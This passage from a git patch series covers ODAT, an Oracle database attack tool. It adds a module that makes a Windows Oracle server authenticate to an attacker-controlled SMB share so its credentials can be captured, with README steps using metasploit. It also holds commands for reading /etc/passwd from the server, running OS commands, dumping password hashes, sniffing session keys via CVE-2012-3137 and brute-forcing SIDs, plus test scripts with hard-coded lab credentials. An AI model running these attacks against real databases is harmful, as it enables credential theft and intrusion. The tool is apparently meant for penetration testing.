SHOW_SQL_REQUESTS_IN_VERBOSE_MODE == True: logging.info("SQL request executed: {0}".format(query)) cursor.execute(query) except Exception, e: logging.info("Impossible to execute the query `{0}`: `{1}`".format(query, self.cleanError(e))) From 7767ea21997fb2c8a1b491369125a165b1e62735 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Mon, 4 Aug 2014 14:42:55 +0200 Subject: [PATCH 28/83] add a SMB module to capture a SMB authentication --- Constants.py | 4 +-- OracleDatabase.py | 6 +++- README.md | 29 ++++++++++++++++ SMB.py | 25 +++++++------- tnscmd.py | 84 ----------------------------------------------- 5 files changed, 50 insertions(+), 98 deletions(-) delete mode 100644 tnscmd.py diff --git a/Constants.py b/Constants.py index 325afc8..98b4155 100644 --- a/Constants.py +++ b/Constants.py @@ -15,7 +15,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.1 - 2014/07/28" +CURRENT_VERSION = "Version 1.2 - 2014/08/08" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" @@ -32,4 +32,4 @@ TIMEOUT_VALUE = 5 PASSWORD_EXTENSION_FILE = ".odat.save" CHALLENGE_EXT_FILE = ".odat.challenge" -SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = True +SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = False diff --git a/OracleDatabase.py b/OracleDatabase.py index a41e104..5807d60 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -258,17 +258,21 @@ def loadInformationRemoteDatabase(self): ''' Get the oracle versions ''' + if 'dbcon' not in self.args : + self.remoteOS = "" + return False logging.debug ("Pickup the remote verion") self.oracleDatabaseversion = self.args['dbcon'].version logging.debug ("Pickup the remote Operating System") REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" response = self.__execQuery__(query=REQ,ld=['OS']) if isinstance(response,Exception): - pass + return False else : if isinstance(response,list) and isinstance(response[0],dict): self.remoteOS = response[0]['OS'] logging.info("OS version : {0}".format(self.remoteOS)) + return True def remoteSystemIsWindows(self): ''' diff --git a/README.md b/README.md index e89ca5a..b39501f 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,9 @@ Tested on Oracle Database __10g__ and __11g__. Changelog ==== +* Version __1.2__ (__2014/08/08__) : + * add the *SMB* module to capture a SMB authentication + * add an option (*SHOW_SQL_REQUESTS_IN_VERBOSE_MODE*) in *Constants.py* to show SQL requests sent to the database server * Version __1.1__ (__2014/07/28__) : * add the *DBMS_LOB* module useful in order to download files stored on a remote server through Oracle Database. * bug fix: java source code: "getenv no longer supported, use properties and -D instead" @@ -55,6 +58,8 @@ Thanks to ODAT, you can: * UTL_HTTP * HttpUriType * UTL_TCP +* __capture a SMB authentication__ through: + * an index in order trigger a SMB connection (NEW : 2014/08/08) * exploit the __CVE-2012-313__ (http://cvedetails.com/cve/2012-3137) * pickup the session key and salt for arbitrary users * attack by dictionary on sessions @@ -449,6 +454,30 @@ This module uses the DBMS_LOB Oracle library to download files remotely. * To download the passwd file stored in */etc/* to the tmp.txt local file: ```bash ./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt +``` + + *smb* module (NEW : 2014/08/08) +--- + +This module allows to capture a SMB authentication. + +Prerequisite in order to capture a challenge: +* Oracle Database must be installed on __Windows__ +* Oracle Database services must __not__ used a Windows __network service__ account, a __system__ account or a __local service__ account. + +Notice: To use this module, a tool to capture SMB authentication must be used (examples: metasploit or responder). + +* In this example, I have used the *auxiliary/server/capture/smb* metasploit module to capture the SMB authentication: +```bash +msfconsole +[...] +msf auxiliary(smb) > use auxiliary/server/capture/smb +msf auxiliary(smb) > run +``` + +* To make connect the Oracle Database server to our smb server, the following ODAT command can be used : +```bash +./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture $MY-IP-ADDRESS SHARE-NAME ``` *stealRemotePwds* module diff --git a/SMB.py b/SMB.py index e0dbc14..02666f2 100644 --- a/SMB.py +++ b/SMB.py @@ -25,13 +25,12 @@ def __init__(self,args): self.INDEX_NAME = "ODAT_SMB_INDEX" self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')" self.SQL_DROP_INDEX = "DROP INDEX {0}" + self.loadInformationRemoteDatabase() - def createTable (self, localIP=None, shareName=None): + def createTable (self): ''' Create a temporary table ''' - if localIP == None : localIP = self.localIp - if shareName == None : shareName = self.shareName logging.info("Creating the table named {0}".format(self.TABLE_NAME)) status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME)) if isinstance(status,Exception): @@ -39,8 +38,8 @@ def createTable (self, localIP=None, shareName=None): return status else : logging.info("The table named {0} is created".format(self.TABLE_NAME)) - logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, localIP, shareName)) - status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, localIP, shareName)) + logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, self.localIp, self.shareName)) + status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, self.localIp, self.shareName)) if isinstance(status,Exception): logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) return status @@ -65,13 +64,13 @@ def createIndex (self): ''' Create an index to start the SMB connection ''' - logging.info("Creating the index named {0}".format(self.INDEX_NAME)) + logging.info("Creating the index named {0}. SMB connection is establishing ....".format(self.INDEX_NAME)) status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME)) if isinstance(status,Exception): logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status))) return status else : - logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is doing...".format(self.INDEX_NAME, self.localIp, self.shareName)) + logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is done.".format(self.INDEX_NAME, self.localIp, self.shareName)) return True def deleteIndex (self): @@ -84,13 +83,15 @@ def deleteIndex (self): logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status))) return status else : - logging.info("The index named {0} is dropped. The SMB connection to \\\\{1}\\{2} is establishing...".format(self.INDEX_NAME, self.localIp, self.shareName)) + logging.info("The index named {0} is dropped".format(self.INDEX_NAME, self.localIp, self.shareName)) return True def captureSMBAuthentication (self, localIP, shareName): ''' Capture the SMB authentication ''' + self.localIp = localIP + self.shareName = shareName logging.info("Delete table and index if exist") self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting @@ -98,7 +99,7 @@ def captureSMBAuthentication (self, localIP, shareName): if self.remoteSystemIsWindows() == True: logging.info("The remote server is Windows, good news") logging.info("Create the table and insert the share name in this one") - status = self.createTable(localIP,shareName) + status = self.createTable() if status == True: logging.info("Create an index") status = self.createIndex() @@ -120,6 +121,8 @@ def testAll(self): ''' Test all functions ''' + self.localIp = "127.0.0.1" + self.shareName = "SHARE" logging.info("Delete table and index if exist") self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting @@ -131,11 +134,11 @@ def testAll(self): if status == True: logging.info("Simulate the index creation") status = self.createIndex() - if status == True: + if status != True: self.deleteIndex() self.args['print'].badNews("KO") else: - self.args['print'].unknownNews("Perhaps (try with --capture)") + self.args['print'].unknownNews("Perhaps (try with --capture to be sure)") self.deleteTable() else : self.deleteTable() diff --git a/tnscmd.py b/tnscmd.py deleted file mode 100644 index ddbb650..0000000 --- a/tnscmd.py +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/python -# -*- coding: utf-8 -*- - -import logging,struct, socket, re -from sys import exit - -class Tnscmd (): - ''' - Get information about the oracle database service - ''' - def __init__(self,args): - ''' - Constructor - ''' - logging.debug("Tnscmd object created") - self.args = args - self.recvdata = "" - self.alias = [] - - def getInformation(self,cmd='ping'): - ''' - Get information about the oracle database service - ''' - command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) - commandlen = len(command) - logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) - clenH = commandlen >> 8 - clenL = commandlen & 0xff - # calculate packet length - packetlen = commandlen + 58; # "preamble" is 58 bytes - plenH = packetlen >> 8 - plenL = packetlen & 0xff - # decimal offset - # 0: packetlen_high packetlen_low - # 26: cmdlen_high cmdlen_low - # 58: command - packet = [plenH, plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, - 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, - clenH, clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, - 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00] - #put the command in packet - for c in command : packet.append(ord(c)) - sendbuf = ''.join([struct.pack('B', val) for val in packet]) - logging.debug("connect to this service") - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((self.args['server'],int(self.args['port']))) - logging.debug("writing {0} bytes".format(len(sendbuf))) - s.sendall(sendbuf) - logging.debug("reading data") - # read until socket EOF - while 1: - data = s.recv(1024) - self.recvdata += data - if not data: break - s.close() - except socket.error,e: - logging.error("Error: {0}".format(e)) - exit(EXIT_BAD_CONNECTION) - # 1st 12 bytes have some meaning which so far eludes me - logging.info('Data received: {0}'.format(repr(self.recvdata))) - print self.recvdata - self.__getAliasStrg__() - - def __getAliasStrg__(self): - ''' - load aliasstring from self.recvdata - ''' - alias = re.findall(r'(?<=ALIAS).+?(?=\))', self.recvdata, flags=re.IGNORECASE) - for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','').replace('=','')) - logging.info("Alias found: {0}".format(self.alias)) - -args = {} -args['server'] = '192.168.1.18' -args['port'] = '1521' -tnscmd = Tnscmd(args) -tnscmd.getInformation(cmd="status") - - - From 01e00071a44dc19684c5a401861836625157f090 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Mon, 4 Aug 2014 17:35:25 +0200 Subject: [PATCH 29/83] add new modules --- testAllOdatModules.sh | 51 +++++++++++++++++++++++++++++-------------- 1 file changed, 35 insertions(+), 16 deletions(-) diff --git a/testAllOdatModules.sh b/testAllOdatModules.sh index 5f50a03..37013b5 100755 --- a/testAllOdatModules.sh +++ b/testAllOdatModules.sh @@ -2,12 +2,12 @@ #Constants ALL_IS_OK=0 #Connection information -SERVER=192.168.142.73 +SERVER=192.168.56.101 SID=ORCL USER="SYS" -PASSWORD='' +PASSWORD='oracle' #OPTIONS -VERBOSE='' #'> /dev/null' +VERBOSE='-vv' #'> /dev/null' tests=( "./odat.py all -s $SERVER" @@ -23,7 +23,7 @@ tests=( "./odat.py all -s $SERVER" "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" - "echo 'GET / HTTP/1.0\n' > ./temp.txt; ./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" + "echo 'GET / HTTP/1.0\n\n' > ./temp.txt; ./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ;rm ./temp.txt" "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22" "./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30" @@ -40,7 +40,7 @@ tests=( "./odat.py all -s $SERVER" "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" - "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/: file.txt ./accounts_small.txt" + "./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./accounts_small.txt" "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt" "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt accounts_small.txt" "./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt" @@ -52,10 +52,13 @@ tests=( "./odat.py all -s $SERVER" "./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords" "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" "./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls" - "sudo ./odat.py stealRemotePwds -s $SERVER -d $SID --test-module" - "sudo ./odat.py stealRemotePwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" - "sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.txt accounts_small.txt" - + "sudo ./odat.py stealremotepwds -s $SERVER -d $SID --test-module" + "sudo ./odat.py stealremotepwds -s $SERVER -d $SID --user-list accounts_small.txt --get-all-passwords" + "sudo chmod o+r sessions-$SERVER-1521-$SID.odat.challenge; ./odat.py stealremotepwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.odat.challenge accounts_small.txt" + "./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py dbmslob -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/ passwd temp.txt" + "./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module" + "./odat.py smb -s $SERVER -d $SID -U $USER -P $PASSWORD --capture 127.0.0.1 SHARE" ) function isGoodReturnValue { @@ -65,11 +68,27 @@ function isGoodReturnValue { else echo -e " \e[0;31mKO!\e[0;m" fi -} +} + + +read -p "This script should be used during the ODAT development ONLY to check if there are no errors. Do you want continue? (Y for Yes)" -n 1 -r +echo +if [[ $REPLY =~ ^[Yy]$ ]] +then + for aTest in "${tests[@]}" + do + echo -e "\n\e[1m\e[96m[+] TEST that : $aTest $VERBOSE \e[m" + eval "$aTest $VERBOSE" + isGoodReturnValue $? + done + echo -e '\e[0;32mDone ! \e[m' +else + echo -e '\e[0;31mNo check has been done ! \e[m' +fi + + + + + + -for aTest in "${tests[@]}" -do - echo -e "\n\e[1m\e[96m[+] TEST that : $aTest $VERBOSE \e[m" - eval "$aTest $VERBOSE" - isGoodReturnValue $? -done From 9589036091714e1b99d0e9d31f31ab1649a6facc Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 12 Aug 2014 14:20:09 +0200 Subject: [PATCH 30/83] Bug fix: Solaris detected as a Linux now --- OracleDatabase.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/OracleDatabase.py b/OracleDatabase.py index 5807d60..fddca9c 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -285,5 +285,5 @@ def remoteSystemIsLinux(self): ''' Return True if Linux ''' - if "linux" in self.remoteOS.lower() : return True + if "linux" in self.remoteOS.lower() or 'solaris' in self.remoteOS.lower() : return True else : return False From e97ae3211a89288c7f90e6a5aaef57f40bd833f7 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 12 Aug 2014 14:41:01 +0200 Subject: [PATCH 31/83] Print Oracle database 10g hashed passwords for compatibility with john the ripper --- Passwords.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Passwords.py b/Passwords.py index 7380e63..6a0c017 100644 --- a/Passwords.py +++ b/Passwords.py @@ -72,7 +72,7 @@ def printPasswords (self): if len(l)==3 and l.has_key('name') and l.has_key('spare4'): if l['password']!=None and l['spare4']!=None: print "{0}; {1}; {2}".format(l['name'], l['password'],l['spare4']) elif l.has_key('username'): - if l['password']!=None: print "{0}; {1}".format(l['username'], l['password']) + if l['password']!=None: print "{0}:{1}".format(l['username'], l['password']) elif l.has_key('user#'): if l['password']!=None: print "{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']) From a290c46e45ba4c43d7827692684a4254f9335b88 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 12 Aug 2014 15:18:57 +0200 Subject: [PATCH 32/83] Bug fix --- DbmsLob.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/DbmsLob.py b/DbmsLob.py index e95ced4..545acc6 100644 --- a/DbmsLob.py +++ b/DbmsLob.py @@ -71,6 +71,7 @@ def getFile (self,remotePath, remoteNameFile, localFile): isFileExist= self.getFileExist (remotePath, remoteNameFile) if isFileExist == True : status = self.__createOrRemplaceDirectory__(remotePath) + print "---------6666>",status if isinstance(status,Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") @@ -92,7 +93,7 @@ def getFile (self,remotePath, remoteNameFile, localFile): logging.info(line) cursor.close() elif isFileExist == False : data = False - else : data = False + else : data = isFileExist self.__dropDirectory__() return data From 6e4a71914ba002c45dd19a6fc2319fff8b98d286 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 12 Aug 2014 15:40:43 +0200 Subject: [PATCH 33/83] Capture an exception --- CVE_2012_3137.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py index ce4f3a9..7d51a3f 100644 --- a/CVE_2012_3137.py +++ b/CVE_2012_3137.py @@ -86,9 +86,16 @@ def customAction(packet): if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw: sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")]) if sessionKey != [] : sessionKey = sessionKey[0] - salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[raw.index("AUTH_VFR_DATA"):raw.index("AUTH_GLOBALLY_UNIQUE_DBID")]) - if salt != [] : salt = salt[0][2:] - return True + try : authVFRindex = raw.index("AUTH_VFR_DATA") + except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw)) + else: + try: authGloIndex = raw.index("AUTH_GLOBALLY_UNIQUE_DBID") + except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw)) + else: + salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex]) + if salt != [] : salt = salt[0][2:] + finally: + return True return False self.__resetSessionKeyValueAndSalt__() #print "Run with tcp and host {0} and port {1}".format(ip,port) From c4c715ed66e9574ff0f859ad854b55084880ce32 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 12 Aug 2014 15:43:47 +0200 Subject: [PATCH 34/83] CVE-2012-313 ==> CVE-2012-3137 in the command line --- odat.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/odat.py b/odat.py index c7f829c..a054438 100755 --- a/odat.py +++ b/odat.py @@ -367,7 +367,7 @@ def main(): parser_dbmslob = subparsers.add_parser('dbmslob',parents=[PPoptional,PPconnection,PPdbmsLob,PPoutput],help='to download files') parser_dbmslob.set_defaults(func=runDbmsLob,auditType='dbmslob') #2.o- steal Passwords (CVE-2012-313) - parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput],help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-313)') + parser_passwords = subparsers.add_parser('stealremotepwds',parents=[PPoptional,PPstealRemotePass,PPoutput],help='to steal hashed passwords thanks an authentication sniffing (CVE-2012-3137)') parser_passwords.set_defaults(func=runCVE20123137Module,auditType='passwords') #2.p- username like password parser_usernamelikepassword = subparsers.add_parser('userlikepwd',parents=[PPoptional,PPconnection,PPusernamelikepassword,PPoutput],help='to try each Oracle username stored in the DB like the corresponding pwd') From 4c08e5211774aa73807eb9ae75090708e4d235b9 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 17 Aug 2014 15:51:51 +0200 Subject: [PATCH 35/83] Delete a print --- DbmsLob.py | 1 - 1 file changed, 1 deletion(-) diff --git a/DbmsLob.py b/DbmsLob.py index 545acc6..7448640 100644 --- a/DbmsLob.py +++ b/DbmsLob.py @@ -71,7 +71,6 @@ def getFile (self,remotePath, remoteNameFile, localFile): isFileExist= self.getFileExist (remotePath, remoteNameFile) if isFileExist == True : status = self.__createOrRemplaceDirectory__(remotePath) - print "---------6666>",status if isinstance(status,Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") From a84454a9d7c9e82d6e0ec9e28e0723bcce8eb6d6 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 17 Aug 2014 15:55:25 +0200 Subject: [PATCH 36/83] Bug fix From 35418deef49c225f92ac3ac413023f4443a9b535 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Sat, 30 Aug 2014 18:11:01 +0200 Subject: [PATCH 37/83] Standalones moved to https://github.com/quentinhardy/odat-standalones --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b39501f..2aa619d 100644 --- a/README.md +++ b/README.md @@ -71,7 +71,7 @@ Supported Platforms and dependencies ODAT is compatible with __Linux__ only. -A __standalone version__ exists in order to don't have need to install dependencies and slqplus (see the __build__ folder of the git). +__Standalone versions__ exist in order to don't have need to install dependencies and slqplus (see [https://github.com/quentinhardy/odat-standalones](https://github.com/quentinhardy/odat-standalones)). The ODAT standalone has been generated thanks to *pyinstaller*. If you want to have the __development version__ installed on your computer, these following tool and dependencies are needed: From 0398cba55bac82b84652c77c7caf7072ae56ca97 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Sat, 30 Aug 2014 18:29:52 +0200 Subject: [PATCH 38/83] Fix a mistake in instalation explanations --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 2aa619d..e0ecec6 100644 --- a/README.md +++ b/README.md @@ -120,7 +120,6 @@ sudo dpkg -i oracle-instantclient11.2-devel_???_???.deb export ORACLE_HOME=/usr/lib/oracle/11.2/client64/ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib export PATH=$ORACLE_HOME/bin:$PATH -source /etc/profile ``` * Restart your session (to apply env variables) and run *sqlplus*: From 88859ef47a2d5eaedea53971a7176375d55f82aa Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Sat, 30 Aug 2014 18:44:48 +0200 Subject: [PATCH 39/83] Update the createALinuxBinary.sh file to fix bug when there is not built/linux folders --- createALinuxBinary.sh | 5 +++-- odat-libc2.19-i686.spec | 22 ---------------------- 2 files changed, 3 insertions(+), 24 deletions(-) delete mode 100644 odat-libc2.19-i686.spec diff --git a/createALinuxBinary.sh b/createALinuxBinary.sh index 23f3d75..e8ccdd8 100755 --- a/createALinuxBinary.sh +++ b/createALinuxBinary.sh @@ -1,9 +1,9 @@ #/bin/bash - GLIBC_VERSION=`ldd --version | grep ldd | cut -d ' ' -f 5` VERSION="libc$GLIBC_VERSION-`uname -m`" echo $NAME #Creation +mkdir -p ./build/linux/ pyinstaller --clean --onedir --noconfirm --distpath="./build/linux/" --workpath="./build/" --name="odat-$VERSION" odat.py --additional-hooks-dir='/usr/lib/python2.7/dist-packages/scapy/layers/' --strip #Add a librarie manually cp "$ORACLE_HOME"/lib/libociei.so ./build/linux/odat-$VERSION/libociei.so @@ -23,5 +23,6 @@ read -p "Do you want delete no compressed data (Y or y for yes)? " -n 1 -r echo if [[ $REPLY =~ ^[Yy]$ ]] then - rm -r ./odat-$VERSION/ +rm -r ./odat-$VERSION/ fi + diff --git a/odat-libc2.19-i686.spec b/odat-libc2.19-i686.spec deleted file mode 100644 index 13d169d..0000000 --- a/odat-libc2.19-i686.spec +++ /dev/null @@ -1,22 +0,0 @@ -# -*- mode: python -*- -a = Analysis(['odat.py'], - pathex=['/home/odat/odat'], - hiddenimports=[], - hookspath=['/usr/lib/python2.7/dist-packages/scapy/layers/'], - runtime_hooks=None) -pyz = PYZ(a.pure) -exe = EXE(pyz, - a.scripts, - exclude_binaries=True, - name='odat-libc2.19-i686', - debug=False, - strip=True, - upx=True, - console=True ) -coll = COLLECT(exe, - a.binaries, - a.zipfiles, - a.datas, - strip=True, - upx=True, - name='odat-libc2.19-i686') From af1e8d4a840141bce8c88ffe3742bc5d0dad1350 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 13:47:17 +0200 Subject: [PATCH 40/83] Updtate the version constant --- Constants.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Constants.py b/Constants.py index 98b4155..62ddde7 100644 --- a/Constants.py +++ b/Constants.py @@ -15,7 +15,7 @@ By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) """ -CURRENT_VERSION = "Version 1.2 - 2014/08/08" +CURRENT_VERSION = "Version 1.3 - 2014/10/07" DEFAULT_SID_MAX_SIZE = 2 MAX_HELP_POSITION=60 DEFAULT_SID_FILE = "sids.txt" From 71b57e0a207de27f430b106b22331ab65dc01067 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 13:55:08 +0200 Subject: [PATCH 41/83] add the getAccountsFromFile function --- PasswordGuesser.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/PasswordGuesser.py b/PasswordGuesser.py index 5ce7843..c3d5376 100644 --- a/PasswordGuesser.py +++ b/PasswordGuesser.py @@ -23,6 +23,12 @@ def __init__(self,args,accountsFile,timeSleep=0): self.args['SYSDBA'] = False self.args['SYSOPER'] = False self.timeSleep = timeSleep + + def getAccountsFromFile (self): + ''' + return list which contains accounts + ''' + return self.accounts def __getAccounts__(self): ''' From f871c4cb8a65c63897caec080655fadb58f4e085 Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 14:46:33 +0200 Subject: [PATCH 42/83] add the runTnsCmdModule function --- Tnscmd.py | 37 +++++++++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 10 deletions(-) diff --git a/Tnscmd.py b/Tnscmd.py index 40b64aa..92d3a1b 100644 --- a/Tnscmd.py +++ b/Tnscmd.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- import logging,struct, socket, re +from Constants import * class Tnscmd (): ''' @@ -16,10 +17,18 @@ def __init__(self,args): self.recvdata = "" self.alias = [] + def resetAlias (self): + ''' + reset alias + ''' + logging.info ("alias list emptied") + self.alias = [] + def getInformation(self,cmd='ping'): ''' Get information about the oracle database service ''' + self.resetAlias() command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) commandlen = len(command) #logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) @@ -49,7 +58,7 @@ def getInformation(self,cmd='ping'): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) logging.debug("Connection to {0}:{1}".format(self.args['server'],int(self.args['port']))) s.connect((self.args['server'],int(self.args['port']))) - logging.debug("writing {0} bytes".format(len(sendbuf))) + logging.debug("writing {0} bytes: {1}".format(len(sendbuf),repr(sendbuf))) s.sendall(sendbuf) logging.debug("reading data") # read until socket EOF @@ -61,7 +70,7 @@ def getInformation(self,cmd='ping'): except Exception,e: logging.critical("Connection Error: {0}".format(e)) # 1st 12 bytes have some meaning which so far eludes me - #logging.info('Data received: {0}'.format(repr(self.recvdata))) + logging.info('Data received thanks to the {1} cmd: {0}'.format(repr(self.recvdata),cmd)) self.__getAliasStrg__() def __getAliasStrg__(self): @@ -78,13 +87,21 @@ def getAlias(self): ''' self.getInformation() return self.alias + +def runTnsCmdModule(args): + ''' + run the TNS cmd module + ''' + if args['ping'] == False : + logging.critical("You must choose the --ping option") + return EXIT_MISS_ARGUMENT + args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port'])) + tnscmd = Tnscmd(args) + if args['ping'] == True: + alias = tnscmd.getAlias() + args['print'].goodNews("{0} ALIAS received: {1}. You should use this alias (more or less) as Oracle SID.".format(len(alias),alias)) + #print alias + -''' -args = {} -args['server'] = '192.168.142.73' -args['port'] = '1521' -tnscmd = Tnscmd(args) -tnscmd.getInformation() -''' - + From d2df82281b4df5b15616b218c506500ed23c71fe Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Tue, 7 Oct 2014 14:51:07 +0200 Subject: [PATCH 43/83] Add the -C option in the all module. It can be used to use a credentiels file (disable the -U and -P option). Add the tnscmd module to get ALIAS remotely through the TNS listener --- odat.py | 30 +++++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/odat.py b/odat.py index a054438..e501e95 100755 --- a/odat.py +++ b/odat.py @@ -20,6 +20,7 @@ from Constants import * from Output import Output 